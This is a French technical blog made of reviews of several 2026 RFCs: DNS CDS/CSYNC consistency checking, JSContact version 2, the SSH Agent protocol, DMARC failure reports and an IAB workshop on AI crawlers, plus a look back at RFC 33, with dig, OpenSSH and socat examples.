Ce blog n'a d'autre prétention que de me permettre de mettre à la disposition de tous des petits textes que j'écris. On y parle surtout d'informatique mais d'autres sujets apparaissent parfois.
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : P. Thomassen (SSE - Secure Systems
Engineering)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsop
Première rédaction de cet article le 28 mai 2026
Pour compléter un processus de sécurisation des noms de domaine avec DNSSEC, il faut transmettre au domaine parent votre clé publique. Le faire manuellement via l'interface Web du BE n'est pas pratique donc il existe un moyen d'automatiser cela, les CDS/CDNSKEY, moyen décrit dans le RFC 7344. Mais attention à la sécurité ! Ce moyen n'est sûr que si on suit quelques précautions, décrites dans ce nouveau RFC.
Bon, je sais, j'ai simplifié, on ne transmet pas forcément au domaine parent sa clé publique mais parfois un condensat de celle-ci. (Le domaine parent publiera ensuite un enregistrement DS, contenant un condensat que vous aurez donné ou bien qu'il aura calculé à partir de la clé.) Ça ne change pas grand'chose en pratique. Le RFC 7344 décrit comment automatiser le changement de clé en publiant dans son domaine des enregistrements CDS et/ou CDNSKEY, qui informent le parent. (Et le RFC 9615 permet de le faire pour la configuration initiale, pas juste pour un changement.) Avec une technique proche, les enregistrements CSYNC du RFC 7477, on peut aussi automatiser le changement des serveurs de noms faisant autorité.
À partir de là, le gestionnaire du domaine parent (typiquement un registre de noms de domaine) va récupérer ces enregistrements et agir (modifier les enregistrements DS et NS dans son domaine). La façon la plus simple de récupérer les CDS, CDNSKEY et CSYNC est de faire une bête requête DNS classique, donc via son résolveur par défaut :
% dig turris.cz CDS … ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16850 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 … ;; ANSWER SECTION: turris.cz. 5 IN CDS 53148 13 2 9A0E997A2992D4089CE39C1976DC65C00C9D20A6C36187F897E71D6E 23368E6E ;; Query time: 24 msec ;; SERVER: 192.168.2.254#53(192.168.2.254) (UDP) ;; WHEN: Fri Jan 09 11:15:20 CET 2026 ;; MSG SIZE rcvd: 86 % dig alatienne.fr CDNSKEY … ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53877 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 … ;; ANSWER SECTION: alatienne.fr. 3600 IN CDNSKEY 257 3 13 ( mdsswUyr3DPW132mOi8V9xESWE8jTo0dxCjjnopKl+Gq JxpVXckHAeF+KkxLbxILfDLUT0rAK9iUzy1L53eKGQ== ) ; KSK; alg = ECDSAP256SHA256 ; key id = 2371 ;; Query time: 52 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP) ;; WHEN: Thu Feb 05 16:35:32 CET 2026 ;; MSG SIZE rcvd: 229
Mais cette méthode n'est pas très sûre et nous allons voir pourquoi, et comment arranger les choses.
Ici, la réponse CDS était signée par DNSSEC (le
flag ad, pour
Authentic Data). Mais ce n'est pas toujours le
cas (avec les CSYNC, ou tout simplement lors de la configuration
initiale de DNSSEC, cf. RFC 8078). Le fond du
problème est que les serveurs faisant
autorité pour le domaine qui publie CDS, CDNSKEY ou CSYNC
peuvent être en désaccord. (Ou bien, mais le RFC ne semble pas le
mentionner, il y a eu empoisonnement de la mémoire du résolveur.) Ce
désaccord peut être dû à un piratage d'un des serveurs (ou à une
malveillance de ses opérateurs) mais il peut être aussi le résultat
d'un cafouillage technique
(un serveur ne se synchronisant plus) ou organisationnel, les
serveurs n'étant pas forcément gérés par la même entité. Sans
compter le risque d'une délégation boiteuse (lame
delegation) où un des serveurs listés dans l'ensemble NS
n'est pas censé être serveur pour ce domaine. D'ailleurs, même
DNSSEC ne protège pas dans tous les cas, s'il y a plusieurs signeurs
(RFC 8901), ils peuvent aussi déconner
séparement. Avec le comportement par défaut du résolveur typique
(accepter la réponse du premier serveur faisant autorité qui
répond), un seul des serveurs faisant autorité peut déclencher un
changement de configuration dans le domaine parent. Le cœur de notre
nouveau RFC est
de dire que le logiciel qui récupère CDS/CDNSKEY/CSYNC doit
s'assurer que les serveurs faisant autorité sont
cohérents, qu'ils renvoient tous la même
réponse.
Cela ne peut pas se faire via un résolveur typique, je n'en connais pas qu'on puisse configurer pour faire cela, il faut donc interroger directement les serveurs faisant autorité. Par exemple, pour la requête dig ci-dessus, un moyen de le faire serait, par exemple en shell :
% for ns in $(dig +short turris.cz NS); do dig @$ns +short turris.cz CDS done 53148 13 2 9A0E997A2992D4089CE39C1976DC65C00C9D20A6C36187F897E71D6E 23368E6E 53148 13 2 9A0E997A2992D4089CE39C1976DC65C00C9D20A6C36187F897E71D6E 23368E6E 53148 13 2 9A0E997A2992D4089CE39C1976DC65C00C9D20A6C36187F897E71D6E 23368E6E
Et il faudrait ensuite s'assurer que toutes les réponses sont identiques. Sinon, le domaine parent s'abstient d'agir. (Comme les lecteurs et lectrices de ce blog sont très fort·es en réseau, ielles ont certainement remarqué que j'avais simplifié : comme un serveur peut avoir plusieurs adresses IP, il faudrait les tester toutes. Des exemples de programmes plus perfectionnés figurent par la suite.)
Ces nouvelles règles amènent à mettre à jour quelques RFC, qui ne les spécifiaient pas : les RFC 7344 et la section 3.1 du RFC 7477, qui conseillait de ne demander qu'à un seul serveur faisant autorité (ce que fait le résolveur typique mais qui n'est pas assez sûr).
La section 3 du RFC liste plus formellement les nouvelles exigences :
Si et seulement si toutes les réponses sont identiques, et différentes de la situation actuelle, le gestionnaire du domaine parent peut envisager de modifier NS et DS.
Notez que, si les serveurs faisant autorité utilisent l'anycast, le test ne sera pas complet, le vérificateur de cohérence ne testera qu'une seule instance d'un nuage anycast. Dans ce cas, il peut être intéressant de tester la cohérence depuis plusieurs points de mesure, pour avoir des chances de contacter plusieurs instances anycast.
La même règle s'applique aux enregistrements CSYNC du RFC 7477. La section 3.2 de notre RFC détaille comment traiter ces enregistrements, qui permettent notamment de synchroniser les enregistrements NS du domaine parent (et la colle) avec ceux du domaine fils. Il y a une petite nuance pour le numéro de série de la zone que contient l'enregistrement CSYNC (il doit être identique à celui du SOA du même serveur, pas forcément à ceux des CSYNC des autres serveurs faisant autorité).
La section 5 de notre RFC discute les conséquences pour la sécurité. Si on ne fait pas les vérifications décrites ici, il y a un risque de copier dans la zone parente des données incorrectes, voire créées par un attaquant, par exemple parce qu'il a réussi à pirater un des serveurs faisant autorité ou bien parce qu'il gérait un de ces serveurs mais agissant sans autorisation du gérant de la zone (cas courant si on sous-traite certains de ses serveurs secondaires). Ce RFC privilégie donc l'intégrité des données, au risque, on peut le remarquer, qu'un changement souhaité prenne davantage de temps, si un des serveurs faisant autorité a des problèmes. Que faire si un de ces serveurs ne veut vraiment pas jouer le jeu et, par exemple, ne se synchronise plus et ne publie pas le nouveau CDS/CDNSKEY/CSYNC ? La section 5 dit qu'il faut donc maintenir un canal traditionnel (via le BE, par exemple), pour pouvoir changer quand même les données publiées par la zone parente. C'est par exemple le rôle d'EPP (RFC 5730).
Cette vérification de la cohérence a déjà été mise en œuvre dans les logiciels de TANGO et CORE, ainsi que déployée par le registre suisse. Zonemaster fait ce test.
Enfin, l'annexe A du RFC décrit plus en détail des scénarios où l'incohérence entre les serveurs faisant autorité pour un domaine a eu des conséquences fâcheuses. Par exemple, si un domaine a une délégation boiteuse, vers un serveur qui n'existe pas, un malveillant peut créer le serveur en question, mettre un CSYNC en indiquant uniquement des serveurs qu'il contrôle et transformer une simple délégation boiteuse en un détournement complet du nom. Si le serveur non existant était dans un nom de domaine non enregistré, l'attaquant n'a qu'à enregistrer ce nom (attaque flamant). Si le serveur non existant était sur une adresse IP libre chez un hébergeur public, l'attaquant n'a qu'à créer des machines chez cet hébergeur jusqu'à tomber sur l'adresse en question (une variante de l'attaque des sous-domaines). Ce genre d'attaques est décrit dans des articles comme « Unresolved Issues: Prevalence, Persistence, and Perils of Lame Delegations » ou « Risky BIZness: risks derived from registrar name management ». Bon, si le domaine est signé avec DNSSEC, il est protégé, non ? Oui, sauf si l'attaquant peut changer la clé avec un CDS… D'où l'importance de la vérification de cohérence de ce RFC.
Autre exemple d'accident possible (et qui n'est pas dû à une attaque délibérée), dans le cas où un domaine a plusieurs signeurs DNSSEC (RFC 8901), si un des serveurs faisant autorité ne publie que ses propres clés dans un CDS. Sans vérification de cohérence, au lieu d'avoir plusieurs DS comme prévu, on n'en aura qu'une partie.
Et si vous cherchez un programme simple qui fait à peu près ce
que demande le RFC, vous avez :
cds-consistency.py
% ./cds-consistency.py knot-resolver.cz knot-resolver.cz is consistent, data is "None" % ./cds-consistency.py àlacon.fr àlacon.fr is consistent, data is "7177 13 2 fa99827c7aca1681b8905285e7fa33ec5adccb430393b4fa1e9f9aa3d9263709"
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : R. Stepanek (Fastmail)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF calext
Première rédaction de cet article le 28 mai 2026
Voici la version 2 du format de représentation d'entités
(personnes ou organisations) JSContact (RFC 9553). En fait, ce numéro de version est trompeur, il n'y
a qu'un seul changement, le membre uid qui
était obligatoire devient facultatif. Mais ce petit changement, qui
casse la compatibilité, oblige à changer de numéro de version.
Dans la section 2.1.9 du RFC 9553,
l'uid (User IDentifier)
était obligatoire. Alors que le vieux format
vCard (RFC 6350) le
disait facultatif, ce qui rendait difficile toute traduction
automatique de vCard vers JSContact. En outre, s'il était cool
d'avoir la garantie d'un identificateur unique pour chaque carte de
visite au format JSContact, cela ne convenait pas dans tous les
cas. Ainsi, RDAP (RFC 9083)
n'utilise pas du tout cette propriété uid.
Donc, seul changement entre les versions 1 et 2, l'attribut
uid devient optionnel. On passe de :
uid: String (mandatory)
à :
*uid: String (optional).*
Mais c'est suffisant pour obliger à changer le numéro de version de JSContact (RFC 9553, section 1.9).
Par exemple, cet object JSContact (qui n'a pas
d'uid) est désormais légal :
{
"@type": "Card",
"version": "2.0",
"name": {"components": [{"kind": "given","value": "Jean"},
{"kind": "surname","value": "Durand"}]},
"emails": {
"email": {
"address": "jean.durand@example.com"
}
}
}
(Avec la version 1, il aurait fallu quelque chose comme
"uid": "a73c940e-b1d3-4f3c-aa50-c9749352c253"
après la version.)
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : D. Miller (OpenSSH)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sshm
Première rédaction de cet article le 28 mai 2026
Voici encore un RFC qui normalise quelque chose qui existait depuis longtemps : le protocole Agent de SSH.
SSH est normalisé dans le RFC 4251 et il permet la connexion à distance (RFC 4253) avec authentification (RFC 4252 et RFC 4254) par exemple avec une clé publique. Il est probablement inutile de le présenter davantage aux lecteurices de ce blog. Une des fonctions géniales de SSH est la possibilité d'avoir un agent (rien à voir avec l'IA agentique qui est à la mode en ce moment) qui mémorise les clés privées et peut effectuer les opérations demandées. Ainsi mémorisées, les clés seront utilisables sans nouvelle intervention de l'utilisateur (taper une phrase de passe, etc) tout en restant bien sécurisées. Et l'agent peut intervenir sur des connexions distantes, ce qui évite de copier sa clé privée sur des serveurs à qui on ne fait pas forcément totalement confiance. L'agent ne tourne pas dans le client SSH mais dans un processus dédié, ce qui améliore sa sécurité. Si vous êtes connecté en ce moment, vous avez sans doute un agent SSH qui tourne (ici sur une Debian) :
% ps uxwww | grep ssh bortzme+ 459934 0.0 0.0 10700 4964 ? Ss 09:44 0:00 /usr/bin/ssh-agent /home/bortzmeyer/.xsession
Comme indiqué au début, ce mécanisme d'agent est connu, mis en œuvre
et utilisé depuis très longtemps, ce RFC est une documentation a posteriori (le très ancien document
draft-ietf-secsh-agent
décrivait un protocole différent).
Donc, comment fonctionne ce protocole Agent (section 2 du RFC) ? Il est client-serveur, le serveur étant l'agent et le client de l'agent n'étant pas forcément un client SSH (mais, bon, c'est le cas le plus courant). Le client envoie des requêtes à l'agent et reçoit des réponses (comme dans beaucoup de protocoles réseau…). L'agent est un serveur pur, il ne fait que répondre au client, sans prendre d'initiatives. Les requêtes typiques sont le chargement d'une clé, la suppression d'une clé, la signature en utilisant une des clés. Le serveur reste maitre d'accepter ou pas les requêtes et le client doit donc être prêt à voir une requête refusée, par exemple parce que l'agent n'accepte que les clés d'un certain type.
La section 3 du RFC détaille les messages échangés entre le
client et l'agent (le serveur). Ils sont de type TLV et les types figurent dans
un
registre IANA. La longueur peut être nulle, par exemple il
existe des messages de type SSH_AGENT_FAILURE
(type numérique 5) qui n'ont pas de valeur. Le client demande
l'ajout d'une clé avec des messages de type
SSH_AGENTC_ADD_IDENTITY (type numérique 17). La
valeur est composée du type de la clé, de la clé elle-même et du
commentaire que vous avez indiqué lors de la création de la clé ; si
vous utilisez, par exemple, une clé Ed25519,
cf. RFC 8709, le type est
ssh-ed25519 (la liste est dans un
registre IANA). Avec OpenSSH, vous
trouverez ce commentaire dans
~/.ssh/id_ed25519.pub.
De la même façon,
on peut retirer une clé avec les messages de type
SSH_AGENTC_REMOVE_IDENTITY (type 18) et
SSH_AGENTC_REMOVE_ALL_IDENTITIES (type 19).
Une fois les clés dans l'agent, le client peut lui demander de
signer avec le type de
message SSH_AGENTC_SIGN_REQUEST (type 13),
message qui comprendra les données à signer.
Pour se
connecter à l'agent (section 4 du RFC), le client doit utiliser une
méthode sûre. Èvidemment pas question d'ouvrir l'agent à tout
l'Internet. Sur Unix, la méthode la plus
courante est d'utiliser une prise locale. Souvent, elle est trouvée
par une variable d'environnement définie lors
de la connexion, en général
SSH_AUTH_SOCK. C'est ce que fait
OpenSSH mais ce n'est pas imposé par la
norme, qui laisse le choix aux programmes.
Voici un exemple avec OpenSSH :
# On lance l'agent (on aurait normalement utilisé eval ou un # équivalent, pour définir la variable d'environnement) : % ssh-agent SSH_AUTH_SOCK=/tmp/ssh-xrLh0tnpVwLF/agent.23934; export SSH_AUTH_SOCK; SSH_AGENT_PID=23935; export SSH_AGENT_PID; echo Agent pid 23935; % ls -l /tmp/ssh-ZzouiZGBumyI/agent.23934 srw------- 1 stephane stephane 0 May 4 18:38 /tmp/ssh-ZzouiZGBumyI/agent.23934 % SSH_AUTH_SOCK=/tmp/ssh-xrLh0tnpVwLF/agent.23934; export SSH_AUTH_SOCK % ssh -vvv SERVEUR-DISTANT … debug1: Next authentication method: publickey debug3: ssh_get_authentication_socket_path: path '/tmp/ssh-xrLh0tnpVwLF/agent.23934' debug1: get_agent_identities: bound agent to hostkey debug1: get_agent_identities: ssh_fetch_identitylist: agent contains no identities [Et si on ajoute une clé dans l'agent ?] % ssh-add ~/.ssh/id_ed25519 Enter passphrase for /home/stephane/.ssh/id_ed25519: Identity added: /home/stephane/.ssh/id_ed25519 (stephane@foobar) % ssh -vvv SERVEUR-DISTANT … debug1: Next authentication method: publickey debug3: ssh_get_authentication_socket_path: path '/tmp/ssh-xrLh0tnpVwLF/agent.23934' debug1: get_agent_identities: bound agent to hostkey debug1: get_agent_identities: agent returned 1 keys
Autre possibilité très intéressante de l'agent (section 5), on peut faire suivre les communications sur un canal SSH (un peu comme avec X11). Cela permet, lorsque la machine A se connecte à la machine B puis à la C, d'utiliser les clés de la machine A pour s'authentifier sur la machine C. Cela utilise le mécanisme d'extension à SSH qui avait été normalisé dans le RFC 8308 pour signaler qu'on gère cette possibilité (mais comme le protocole Agent existait avant ce RFC, certains programmes n'annoncent pas cette gestion). La section 9 du RFC rappelle toutefois que cette fonction, si pratique, crée de nouveaux risques puisque elle introduit une relation de confiance transitive. Le RFC exige donc qu'elle ne soit pas activée par défaut.
Le protocole a entrainé la création de cinq nouveaux registres IANA (section 7), dont celui des types de messages (pour en ajouter un, politique « Examen par un expert », cf. RFC 8126.)
Un petit mot sur la sécurité (section 8 du RFC) puisqu'après tout, SSH est là pour améliorer notre sécurité. L'agent est chargé de garder des clés privées, il est donc très sensible et doit être de confiance. Mais le RFC rappelle aussi que l'accès à l'agent est évidemment très critique et doit être sécurisé (regardez les permissions de la prise dans l'exemple Unix plus haut), le protocole ne prévoyant aucune authentification.
Si on a accès à l'agent, et qu'il a chargé des clés, on peut
signer ce qu'on veut et donc s'authentifier auprès de serveurs
distants. Par contre, on ne peut pas récupérer de clés privées via
le protocole, qui n'a pas d'opération pour cela. Mais comme l'agent
garde les clés privées en mémoire, il faut faire attention à ce que
personne ne puisse lire cette mémoire. (La page de manuel de OpenSSH
est très nette à ce sujet et conseille d'utiliser plutôt la fonction
ProxyJump, via le -J.)
Ah, et puisque l'agent, lorsqu'il charge une clé, demande la phrase de passe de la clé, il faut aussi qu'il prenne des précautions pour limiter le risque d'une attaque par force brute (quand un attaquant essaie plein de phrases possibles). Par exemple, il peut introduire un délai après une phrase incorrecte.
Le protocole Agent est très ancien et est donc déjà mis en œuvre dans de nombreux programmes, par exemple OpenSSH (depuis 2000 !), PuTTY, Dropbear, Paramiko, la bibliothèque standard de Go, etc.
Si vous voulez afficher les messages échangés entre le client SSH
et l'agent, je ne connais pas
l'équivalent de tcpdump ou
Wireshark pour cela. Avec
OpenSSH, ssh-agent -d
affiche les connexions mais pas les messages. Sinon, on peut lire les
messages échangés avec socat (ici, un exemple
pour OpenSSH sur
Debian) :
[Dans une fenêtre] % ssh-agent -D [Dans une autre] [Copier-coller la première ligne, celle qui définit SSH_AUTH_SOCK] % mv $SSH_AUTH_SOCK /tmp/real-agent.sock % socat -x UNIX-LISTEN:$SSH_AUTH_SOCK,fork UNIX-CONNECT:/tmp/real-agent.sock [Dans une troisième] [Copier-coller la première ligne, celle qui définit SSH_AUTH_SOCK] % ssh un-serveur
Mais les messages seront bruts, sans formatage. À vous de les décoder.
Par exemple, ici,suite à un ssh-add, on voit :
> 2026/05/11 17:47:13.000145101 length=142 from=1152 to=1293 00 00 00 8a 11 00 00 00 … < 2026/05/11 17:47:13.000146117 length=5 from=10 to=14 00 00 00 01 06
(Pour décoder, référez-vous au RFC, section 3, et au registre
IANA.) Le premier message (après le >) a une longueur de 138 octets (les
quatre premiers octets, 0000008A, nous le disent, socat l'affiche
mais lui ajoute les quatre octets de la longueur). Le type du
message (indiqué par l'octet suivant) est 17,
SSH_AGENTC_ADD_IDENTITY. L'agent répond (après
la <) par un message d'un seul octet, de type 6
(SSH_AGENT_SUCCESS) et de contenu nul. Si je me
connecte en SSH à un serveur, en utilisant la clé qui vient d'être
chargée, j'ai :
> 2026/05/11 17:59:54.000526321 length=5 from=665 to=669
00 00 00 01 0b
< 2026/05/11 17:59:54.000526468 length=535 from=5 to=539
00 00 02 13 0c 00 00 00 …
> 2026/05/11 17:59:54.000609874 length=1017 from=670 to=1686
00 00 03 f5 0d 00 00 01 …
< 2026/05/11 17:59:54.000615719 length=285 from=540 to=824
00 00 01 19 0e 00 00 01 14 …
Le premier message, très court, est de type 11,
SSH_AGENTC_REQUEST_IDENTITIES, il obtient une
réponse 12 (SSH_AGENT_IDENTITIES_ANSWER), puis
le client SSH demande une signature avec la clé privée que stocke
l'agent (type 13,
SSH_AGENTC_SIGN_REQUEST) et a une réponse (type
14, SSH_AGENT_SIGN_RESPONSE).
Enfin, le fichier ./PROTOCOL.agent dans le source
de OpenSSH documente les extensions d'OpenSSH
pour ce protocole agent-client.
Date de publication du RFC : Février 1970
Auteur(s) du RFC : S.D. Crocker
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 26 mai 2026
Continuons avec des vieux RFC. Ce RFC de 1970 se distinguait par une augmentation spectaculaire de la taille des adresses réseau : elles passaient de 5 à 8 bits.
Quand le RFC a été publié, l'expérience Arpanet battait son plein. Comme l'avait prévu le RFC 1, les anciennes adresses n'offraient pas assez de place, avec seulement 32 machines possibles. Notre RFC 33, qui normalisait le nouveau protocole de bout en bout a changé cela. Rappelez-vous qu'Arpanet, contrairement à l'Internet, utilisait des protocoles complètement différents entre routeurs (qu'on appelait IMP à l'époque), ou entre routeur et machine terminale, qu'entre les machines terminales. Ce RFC s'occupe de ce dernier cas. (Le protocole entre IMP n'a jamais été documenté publiquement.) Ce RFC normalise, de façon assez approximative, le format des messages échangés entre machines terminales.
On est très loin du futur IP. Le message est précédé d'un guide (leader, le terme de header n'était pas encore utilisé) qui comprenait une adresse, le type du message, des options et un identificateur de lien virtuel (permettant à deux machines d'avoir plusieurs communications simultanées ; il n'y avait pas de séparation entre couche 3 et couche 4 à l'époque). Là, vous vous demandez peut-être : « une seule adresse ? C'est la source ou la destination ? ». C'est la destination quand une machine émet un paquet et la source quand elle en reçoit un. (Rappelez-vous que le passage par un IMP, qui faisait la réécriture du message, était obligatoire. Et l'IMP n'était pas « transparent » comme un bon routeur IP.)
Ça peut sembler très primitif mais il faut voir qu'on en était vraiment au début. Ainsi, des choses qui paraissent évidentes aujourd'hui avaient besoin d'être précisées (« les programmes peuvent être écrits dans n'importe quel langage »). Ah, et c'est dans ce RFC que le protocole reçoit son nom, NCP. Cela signifiait Network Control Program mais le sigle sera repris ensuite pour Network Control Protocol. (Il sera remplacé par TCP/IP des années après.)
Le protocole est avec connexion (le concept de datagramme était encore flou) et le RFC décrit donc comment créer une connexion. On indique la machine (sur 8 bits, donc), et un identificateur de l'utilisateur sur la machine (24 bits dont 8 pour sa machine habituelle, chaque utilisateur avait donc un numéro unique sur tout l'Arpanet).
Le reste du RFC est consacré à discuter du problème de la connexion à distance (telnet, même si le « vrai » telnet n'est apparu que plus tard). Le RFC 15 décrivait déjà cette connexion à distance mais le RFC 33 va plus loin en rappelant que ce n'est pas tout de faire passer des bits, il faut aussi faire quelque chose face à la variété des terminaux physiques et de leur comportement. Par exemple, lorsqu'on tape un caractère, l'écho doit-il être généré localement ou à distance (en ce temps, on trouvait de tout) ? Le RFC ne fournit pas encore de solution.
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : S. Jones (DMARC.org), A. Vesely (Tana)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dmarc
Première rédaction de cet article le 20 mai 2026
DMARC (RFC 9989)
permet de demander l'envoi, par les destinataires des messages, de
rapports indiquant les éventuels problèmes notés, afin de diminuer
le nombre de faux positifs (messages légitimes incorrectement
considérés comme invalides). Cette demande de rapports se fait en
ajoutant l'option ruf à l'enregistrement
DMARC. Ce RFC
décrit ces rapports.
Il y a au moins deux raisons de demander ces rapports :
Notez qu'il existe aussi des rapports agrégés (RFC 9990, avec un format très différent, fondé sur XML) et qu'on demande parfois des rapports individuels parce qu'on note dans les rapports agrégés qu'il y a beaucoup d'erreurs et qu'on voudrait comprendre leur origine.
Le format normalisé ici dérive du format ARF (Abuse
Reporting Format, RFC 6591), qui
décrivait les rapports pour les problèmes SPF et DKIM. L'option
ruf dans l'enregistrement DMARC (RFC 9989, section 4.7) indique à quelle adresse de
courrier le
rapport doit être envoyé. Voici par exemple l'enregistrement DMARC
de afnic.fr :
dig +short _dmarc.afnic.fr TXT "v=DMARC1; p=quarantine; pct=100; ruf=mailto:dmarc-feedback@afnic.fr; rua=mailto:dmarc-feedback@afnic.fr; fo=1"
Vous voyez le ruf ? Il indique que les rapports
doivent être envoyés à
dmarc-feedback@afnic.fr. Attention, j'ai écrit
« doivent » mais, évidemment, les récepteurs de courrier ne sont
pas obligés d'envoyer ces rapports, qui peuvent
leur coûter des ressources et poser des problèmes de vie privée.
Pour DMARC, notre RFC ajoute au format du RFC 6591 les champs (section 4, ils sont listés dans un registre IANA) :
Identity-Alignment:, qui liste les
mécanismes d'authentification où il n'y a pas d'alignement avec l'expéditeur,Delivery-Result:,DKIM-Domain:, et quelques autres au
sujet de DKIM,SPF-DNS:.Il y a un autre piège avec les rapports, c'est la possibilité
d'indiquer dans ruf l'adresse de quelqu'un
d'autre, pour l'embêter avec beaucoup de rapports qui ne le
concernent pas. La section 4 du RFC 9990
explique les précautions que devrait prendre un receveur de courrier
avant d'envoyer un rapport vers une adresse qui n'est pas dans le
domaine concerné, comme de tester le sous-domaine
_report._dmarc. (Dans l'exemple
afnic.fr plus haut, il n'y avait pas de
problème, le destinataire des rapports est dans le domaine
concerné.)
J'ai mentionné un peu plus haut la question de la vie privée. Les rapports détaillés, contrairement à leurs copains agrégés du RFC 9990, peuvent être très indiscrets, notamment parce qu'ils contiennent souvent des données personnelles, par exemple dans les champs indiquant l'expéditeur et le destinataire. Et il ne suffit pas de se dire « Bon, de toute façon, le gestionnaire du système envoyeur avait accès au message quand il est parti de son système » car le message a pu être transmis et re-transmis et le rapport donnera des informations sur des destinataires finaux. Une section 7, très détaillée, couvre donc ce problème. Elle note par exemple que beaucoup de gros receveurs de courrier n'envoient pas du tout de rapport individuel, seulement des rapports agrégés. Et elle recommande que, même si on envoie les rapports, on en supprime les éléments les plus sensibles (voir le RFC 6590).
Enfin, à envoyer un rapport par message, on noiera l'expéditeur supposé sous des rapports qui concerneront des spams envoyés en nombre. Donc, prudence.
Un point amusant, que je vois pour la première fois dans un
RFC : ce RFC 9991 recommande de modifier les URL présents dans les rapports en
remplaçant http par
hxxp. Cette convention est assez courante dans
le monde de la sécurité Internet, pour éviter qu'un humain ne clique
trop vite sur un lien malveillant.
L'annexe A du RFC donne un exemple de rapport, je ne montre ici que la partie MIME qui concerne le rapport proprement dit :
--=_mime_boundary_ Content-Type: message/feedback-report Content-Transfer-Encoding: 7bit Feedback-Type: auth-failure Version: 1 User-Agent: DMARC-Filter/1.2.3 Auth-Failure: dmarc Authentication-Results: gen.example; dmarc=fail header.from=consumer.example Identity-Alignment: dkim DKIM-Domain: consumer.example DKIM-Identity: @consumer.example DKIM-Selector: epsilon Original-Envelope-Id: 65E1A3F0A0 Original-Mail-From: author=gen.example@forwarder.example Source-IP: 192.0.2.2 Source-Port: 12345 Reported-Domain: consumer.example
Le message prétend venir de consumer.example
mais aucune signature DKIM n'est valide, sans doute suite à des
modifications chez forwarder.example ou bien
parce que la clé DKIM n'a pu être récupérée dans le DNS.
Apparemment, OpenDKIM est capable de générer ces rapports, mais je n'ai pas testé.
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : M. Nottingham, S. Krishnan
Pour information
Première rédaction de cet article le 20 mai 2026
Ah, l'IA… Vaste sujet, et d'actualité. Une des questions qui reviennent souvent est celle de l'utilisation du contenu qu'on trouve sur le Web pour entrainer les grands modèles, sa légitimité, la charge qu'elle induit pour les serveurs, les moyens de la contrôler, etc. Un colloque avait été organisé par l'IAB en septembre 2024 sur ces questions et ce RFC en est le compte-rendu. Ce colloque avait lancé le projet IETF aipref.
Une petite précision politique d'abord : le RFC précise bien qu'il s'agit d'un compte-rendu et que l'IAB n'approuve pas forcément tout ce qui a été dit à ce colloque (section 1.2 du RFC). Je rajoute que j'ai aussi des opinions sur le sujet, donc je mettrais [entre crochets] ce qui est mon opinion, et ne vient pas du RFC. Le reste n'est donc pas de moi, j'en rends compte, c'est tout, ne me tapez pas.
Ce colloque fait partie de la série de colloques qu'organise régulièrement l'IAB pour explorer des tendances à plus ou moins long terme, sans les obligations de l'IETF de produire normes et documents.
Donc, les LLM (qui ne sont qu'une partie des techniques qu'on regroupe sous le terme marketing d'« IA ») fonctionnent en deux phases : on entraine le modèle en lui faisant ingérer une grande quantité de contenu (textes, images ou autres), puis il va pouvoir inférer du contenu à partir de ce qu'il a digéré pendant la phase d'entrainement, et d'une demande (dite prompt). Le contenu inféré n'est jamais tout à fait identique à celui utilisé pour l'entrainement (autrement, cela serait du plagiat, potentiellement illégal). Les LLM ne marchant bien, à l'heure actuelle, que si le corpus d'entrainement était énorme, ils sont très gourmands en données et une source évidente de contenu en grande quantité est le Web. Des bots ou crawlers parcourent donc le Web, ramassant du contenu. Voici par exemple un extrait du journal du serveur qui héberge ce blog, montrant le bot de Perplexity récoltant du contenu :
18.210.92.235:64884 - - [09/Jan/2026:07:26:15 +0000] "GET /images/TCP_state_diagram.jpg HTTP/1.1" 200 96551 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" www.bortzmeyer.org TLS 18.97.9.103:64398 - - [09/Jan/2026:08:31:39 +0000] "GET /bitcoin-metamorphoses.html HTTP/1.1" 200 8982 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" www.bortzmeyer.org TLS 18.97.9.101:57493 - - [09/Jan/2026:08:31:39 +0000] "GET /robots.txt HTTP/1.1" 404 3250 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" www.bortzmeyer.org TLS 18.97.9.103:48122 - - [09/Jan/2026:08:47:36 +0000] "GET /nist-pq.pdf HTTP/1.1" 200 84543 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" www.bortzmeyer.org TLS 18.97.9.96:25157 - - [09/Jan/2026:08:51:37 +0000] "GET /files/capitole-libre-2019-quic-pour-impression.pdf HTTP/1.1" 200 212507 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" www.bortzmeyer.org TLS
Une des questions soulevées par cette récolte de données est qu'elle n'était pas prévue à l'origine. Certains webmestres qui mettent du contenu en ligne estiment donc qu'un nouvel usage (l'entrainement des LLM) justifie de nouvelles règles et de nouvelles possibilités de contrôle par le serveur Web. C'est par exemple ce que prévoit l'AI Act européen.
